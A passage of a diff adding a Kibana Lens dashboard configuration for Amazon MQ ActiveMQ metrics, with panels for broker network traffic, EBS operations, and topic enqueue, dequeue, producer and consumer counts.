"columns": { + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Incoming traffic volume", + "operationType": "sum", + "params": { + "emptyAsNull": true, + "format": { + "id": "bytes", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.NetworkIn.max" + }, + "8f8a5bdb-c109-4d59-bb2b-783d1724fcac": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Broker", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Broker" + }, + "e351cce6-dce5-4ea6-9b36-0c921bba099f": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "axisTitlesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "fittingFunction": "None", + "gridlinesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "labelsOrientation": { + "x": 0, + "yLeft": 0, + "yRight": 0 + }, + "layers": [ + { + "accessors": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "e087695b-1585-4d8f-be37-62949a95b42b", + "layerType": "data", + "seriesType": "line", + "splitAccessor": "8f8a5bdb-c109-4d59-bb2b-783d1724fcac", + "xAccessor": "e351cce6-dce5-4ea6-9b36-0c921bba099f", + "yConfig": [] + }, + { + "accessors": [ + "1587b29a-ea56-40be-9ff7-4ed374edd2c6" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "elastic_brand_2023", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "950f9c94-6e0a-442b-aac9-563db74dc340", + "layerType": "data", + "seriesType": "line", + "splitAccessor": "2d23bba6-7cc8-49ad-9d2a-973c52f075f3", + "xAccessor": "43dd70ab-652d-43d9-8fdd-8825a4d400a6", + "yConfig": [ + { + "axisMode": "right", + "forAccessor": "1587b29a-ea56-40be-9ff7-4ed374edd2c6" + } + ] + } + ], + "legend": { + "isVisible": true, + "position": "bottom", + "shouldTruncate": false + }, + "preferredSeriesType": "line", + "tickLabelsVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "description": "NetworkIn is the volume of incoming traffic for the broker. NetworkOut is the volume of outgoing traffic for the broker.", + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 14, + "i": "25a4cd1f-0ca5-4b31-878c-4d1a8e71d344", + "w": 16, + "x": 16, + "y": 28 + }, + "panelIndex": "25a4cd1f-0ca5-4b31-878c-4d1a8e71d344", + "title": "Broker network traffic", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "950f9c94-6e0a-442b-aac9-563db74dc340": { + "columnOrder": [ + "2d23bba6-7cc8-49ad-9d2a-973c52f075f3", + "43dd70ab-652d-43d9-8fdd-8825a4d400a6", + "1587b29a-ea56-40be-9ff7-4ed374edd2c6" + ], + "columns": { + "1587b29a-ea56-40be-9ff7-4ed374edd2c6": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "EBS write operations", + "operationType": "sum", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.VolumeWriteOps.max" + }, + "2d23bba6-7cc8-49ad-9d2a-973c52f075f3": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Broker", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "1587b29a-ea56-40be-9ff7-4ed374edd2c6", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Broker" + }, + "43dd70ab-652d-43d9-8fdd-8825a4d400a6": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + }, + "e087695b-1585-4d8f-be37-62949a95b42b": { + "columnOrder": [ + "8f8a5bdb-c109-4d59-bb2b-783d1724fcac", + "e351cce6-dce5-4ea6-9b36-0c921bba099f", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + "columns": { + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "EBS read operations", + "operationType": "sum", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.VolumeReadOps.max" + }, + "8f8a5bdb-c109-4d59-bb2b-783d1724fcac": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Broker", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Broker" + }, + "e351cce6-dce5-4ea6-9b36-0c921bba099f": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "axisTitlesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "fittingFunction": "None", + "gridlinesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "labelsOrientation": { + "x": 0, + "yLeft": 0, + "yRight": 0 + }, + "layers": [ + { + "accessors": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "e087695b-1585-4d8f-be37-62949a95b42b", + "layerType": "data", + "seriesType": "line", + "splitAccessor": "8f8a5bdb-c109-4d59-bb2b-783d1724fcac", + "xAccessor": "e351cce6-dce5-4ea6-9b36-0c921bba099f", + "yConfig": [ + { + "axisMode": "left", + "forAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + } + ] + }, + { + "accessors": [ + "1587b29a-ea56-40be-9ff7-4ed374edd2c6" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "elastic_brand_2023", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "950f9c94-6e0a-442b-aac9-563db74dc340", + "layerType": "data", + "seriesType": "line", + "splitAccessor": "2d23bba6-7cc8-49ad-9d2a-973c52f075f3", + "xAccessor": "43dd70ab-652d-43d9-8fdd-8825a4d400a6", + "yConfig": [ + { + "axisMode": "right", + "forAccessor": "1587b29a-ea56-40be-9ff7-4ed374edd2c6" + } + ] + } + ], + "legend": { + "isVisible": true, + "position": "bottom", + "shouldTruncate": false + }, + "preferredSeriesType": "line", + "tickLabelsVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "description": "Read operations volume is the number of read operations performed on the Amazon EBS volume.\n\nWrite operations volume is the number of write operations performed on the Amazon EBS volume.", + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 14, + "i": "408b8f4a-fab1-4f37-90cd-8bb34db91bfa", + "w": 16, + "x": 32, + "y": 28 + }, + "panelIndex": "408b8f4a-fab1-4f37-90cd-8bb34db91bfa", + "title": "EBS read operations vs write operations count", + "type": "lens" + }, + { + "embeddableConfig": { + "enhancements": { + "dynamicActions": { + "events": [] + } + }, + "hidePanelTitles": true, + "savedVis": { + "data": { + "aggs": [], + "searchSource": { + "filter": [], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "description": "", + "id": "", + "params": { + "fontSize": 12, + "markdown": "#### Topic Metrics", + "openLinksInNewTab": false + }, + "title": "", + "type": "markdown", + "uiState": {} + } + }, + "gridData": { + "h": 3, + "i": "2dbdd9a4-6658-445d-9999-f153bbc357f6", + "w": 48, + "x": 0, + "y": 42 + }, + "panelIndex": "2dbdd9a4-6658-445d-9999-f153bbc357f6", + "title": "", + "type": "visualization" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "c01a91f8-d296-42ca-853d-edf813bc208b": { + "columnOrder": [ + "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "5b2321f5-1641-4130-a8ae-19cd853a12d0", + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "columns": { + "27a661ab-bc06-4a95-89fc-927ccb1f70b5": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Topic", + "operationType": "terms", + "params": { + "exclude": [ + ".*Advisory.*" + ], + "excludeIsRegex": true, + "include": [ + "" + ], + "includeIsRegex": true, + "missingBucket": false, + "orderBy": { + "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Topic" + }, + "5b2321f5-1641-4130-a8ae-19cd853a12d0": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "d4578b24-c384-4c74-bf14-a4900ebe1283": { + "customLabel": true, + "dataType": "number", + "filter": { + "language": "kuery", + "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\"" + }, + "isBucketed": false, + "label": "Enqueue time", + "operationType": "average", + "params": { + "emptyAsNull": true, + "format": { + "id": "duration", + "params": { + "compact": true, + "decimals": 0, + "fromUnit": "milliseconds", + "toUnit": "humanizePrecise" + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.destination.EnqueueTime.avg" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b", + "layerType": "data", + "position": "top", + "seriesType": "area_stacked", + "showGridlines": false, + "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0" + } + ], + "legend": { + "isVisible": true, + "position": "bottom" + }, + "preferredSeriesType": "area_stacked", + "title": "Empty XY chart", + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {} + }, + "gridData": { + "h": 14, + "i": "3881c9bf-d72e-4f98-8373-721f9886883c", + "w": 16, + "x": 0, + "y": 45 + }, + "panelIndex": "3881c9bf-d72e-4f98-8373-721f9886883c", + "title": "Topic enqueue time", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "c01a91f8-d296-42ca-853d-edf813bc208b": { + "columnOrder": [ + "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "5b2321f5-1641-4130-a8ae-19cd853a12d0", + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "columns": { + "27a661ab-bc06-4a95-89fc-927ccb1f70b5": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Topic", + "operationType": "terms", + "params": { + "exclude": [ + ".*Advisory.*" + ], + "excludeIsRegex": true, + "include": [ + "" + ], + "includeIsRegex": true, + "missingBucket": false, + "orderBy": { + "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Topic" + }, + "5b2321f5-1641-4130-a8ae-19cd853a12d0": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "d4578b24-c384-4c74-bf14-a4900ebe1283": { + "customLabel": true, + "dataType": "number", + "filter": { + "language": "kuery", + "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\"" + }, + "isBucketed": false, + "label": "Enqueue count", + "operationType": "max", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.destination.EnqueueCount.sum" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + }, + "e788bbcc-bd10-4a67-a1e4-b62775f429e4": { + "columnOrder": [ + "ba5d228a-69b4-4baf-8202-b3bbc0682126", + "addde7fc-8bbe-4168-8713-830dcbb84dcd", + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + ], + "columns": { + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Dequeue count", + "operationType": "max", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.destination.DequeueCount.sum" + }, + "addde7fc-8bbe-4168-8713-830dcbb84dcd": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "ba5d228a-69b4-4baf-8202-b3bbc0682126": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Topic", + "operationType": "terms", + "params": { + "exclude": [ + ".*Advisory.*" + ], + "excludeIsRegex": true, + "include": [ + "" + ], + "includeIsRegex": true, + "missingBucket": false, + "orderBy": { + "columnId": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Topic" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b", + "layerType": "data", + "position": "top", + "seriesType": "area", + "showGridlines": false, + "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0" + }, + { + "accessors": [ + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "elastic_brand_2023", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "layerType": "data", + "position": "top", + "seriesType": "area", + "showGridlines": false, + "splitAccessor": "ba5d228a-69b4-4baf-8202-b3bbc0682126", + "xAccessor": "addde7fc-8bbe-4168-8713-830dcbb84dcd", + "yConfig": [ + { + "axisMode": "right", + "forAccessor": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + } + ] + } + ], + "legend": { + "isVisible": true, + "position": "bottom" + }, + "preferredSeriesType": "area", + "title": "Empty XY chart", + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "description": "Enqueue count is the number of messages sent to the topic. \tDequeue count is the number of messages acknowledged by consumers", + "enhancements": {} + }, + "gridData": { + "h": 14, + "i": "c30fdfcd-03bd-4a98-b6c1-b0cea98ba072", + "w": 16, + "x": 16, + "y": 45 + }, + "panelIndex": "c30fdfcd-03bd-4a98-b6c1-b0cea98ba072", + "title": "Enqueue vs Dequeue count", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "c01a91f8-d296-42ca-853d-edf813bc208b": { + "columnOrder": [ + "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "5b2321f5-1641-4130-a8ae-19cd853a12d0", + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "columns": { + "27a661ab-bc06-4a95-89fc-927ccb1f70b5": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Topic", + "operationType": "terms", + "params": { + "exclude": [ + ".*Advisory.*" + ], + "excludeIsRegex": true, + "include": [ + "" + ], + "includeIsRegex": true, + "missingBucket": false, + "orderBy": { + "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Topic" + }, + "5b2321f5-1641-4130-a8ae-19cd853a12d0": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "d4578b24-c384-4c74-bf14-a4900ebe1283": { + "customLabel": true, + "dataType": "number", + "filter": { + "language": "kuery", + "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\"" + }, + "isBucketed": false, + "label": "Consumer count", + "operationType": "max", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.destination.ConsumerCount.max" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + }, + "e788bbcc-bd10-4a67-a1e4-b62775f429e4": { + "columnOrder": [ + "ba5d228a-69b4-4baf-8202-b3bbc0682126", + "addde7fc-8bbe-4168-8713-830dcbb84dcd", + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + ], + "columns": { + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Producer count", + "operationType": "max", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.destination.ProducerCount.max" + }, + "addde7fc-8bbe-4168-8713-830dcbb84dcd": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "ba5d228a-69b4-4baf-8202-b3bbc0682126": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Topic", + "operationType": "terms", + "params": { + "exclude": [ + ".*Advisory.*" + ], + "excludeIsRegex": true, + "include": [ + "" + ], + "includeIsRegex": true, + "missingBucket": false, + "orderBy": { + "columnId": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Topic" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b", + "layerType": "data", + "position": "top", + "seriesType": "area", + "showGridlines": false, + "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0", + "yConfig": [ + { + "axisMode": "right", + "forAccessor": "d4578b24-c384-4c74-bf14-a4900ebe1283" + } + ] + }, + { + "accessors": [ + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "elastic_brand_2023", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "layerType": "data", + "position": "top", + "seriesType": "area", + "showGridlines": false, + "splitAccessor": "ba5d228a-69b4-4baf-8202-b3bbc0682126", + "xAccessor": "addde7fc-8bbe-4168-8713-830dcbb84dcd", + "yConfig": [ + { + "axisMode": "left", + "forAccessor": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + } + ] + } + ], + "legend": { + "isVisible": true, + "position": "bottom" + }, + "preferredSeriesType": "area", + "title": "Empty XY chart", + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "description": "Producer count is the number of producers for the topic. Consumer count is the number of consumers subscribed to the topic.", + "enhancements": {} + }, + "gridData": { + "h": 14, + "i": "a46e0c8a-f573-4beb-848d-178f39c1e98a", + "w": 16, + "x": 32, + "y": 45 + }, + "panelIndex": "a46e0c8a-f573-4beb-848d-178f39c1e98a", + "title": "Producer vs Consumer count", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "c01a91f8-d296-42ca-853d-edf813bc208b": { + "columnOrder": [ + "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "5b2321f5-1641-4130-a8ae-19cd853a12d0", + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "columns": { + "27a661ab-bc06-4a95-89fc-927ccb1f70b5": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Queue", + "operationType": "terms", + "params": { + "exclude": [ + ".*Advisory.*" + ], + "excludeIsRegex": true, + "include": [ + "" + ], + "includeIsRegex": true, + "missingBucket": false, + "orderBy": { + "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Queue" + }, + "5b2321f5-1641-4130-a8ae-19cd853a12d0": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "d4578b24-c384-4c74-bf14-a4900ebe1283": { + "customLabel": true, + "dataType": "number", + "filter": { + "language": "kuery", + "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\"" + }, + "isBucketed": false, + "label": "Consumer count", + "operationType": "max", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.destination.ConsumerCount.max" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + }, + "e788bbcc-bd10-4a67-a1e4-b62775f429e4": { + "columnOrder": [ + "ba5d228a-69b4-4baf-8202-b3bbc0682126", + "addde7fc-8bbe-4168-8713-830dcbb84dcd", + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + ], + "columns": { + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Producer count", + "operationType": "max", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.destination.ProducerCount.max" + }, + "addde7fc-8bbe-4168-8713-830dcbb84dcd": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "ba5d228a-69b4-4baf-8202-b3bbc0682126": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Queue", + "operationType": "terms", + "params": { + "exclude": [ + ".*Advisory.*" + ], + "excludeIsRegex": true, + "include": [ + "" + ], + "includeIsRegex": true, + "missingBucket": false, + "orderBy": { + "columnId": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + 